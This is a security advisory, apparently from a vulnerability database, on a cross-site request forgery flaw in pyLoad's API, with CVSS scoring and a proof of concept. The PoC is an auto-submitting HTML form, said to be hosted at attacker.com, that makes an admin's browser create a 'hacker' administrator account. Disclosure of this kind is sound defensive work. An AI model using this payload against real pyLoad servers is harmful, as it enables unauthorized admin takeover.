Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

2024-01-1915:27:12

Google

osv.dev

pyload

api

csrf

admin privilege

unauthenticated user

CVSS3

9.6

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

AI Score

7.2

Confidence

High

EPSS

0.001

Percentile

29.5%

JSON

Summary

The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator’s browser into creating a new admin user.

PoC

We host the following HTML file on an attacker-controlled server.

&lt;html&gt;
  
  &lt;body&gt;
    &lt;form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      history.pushState('', '', '/');
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.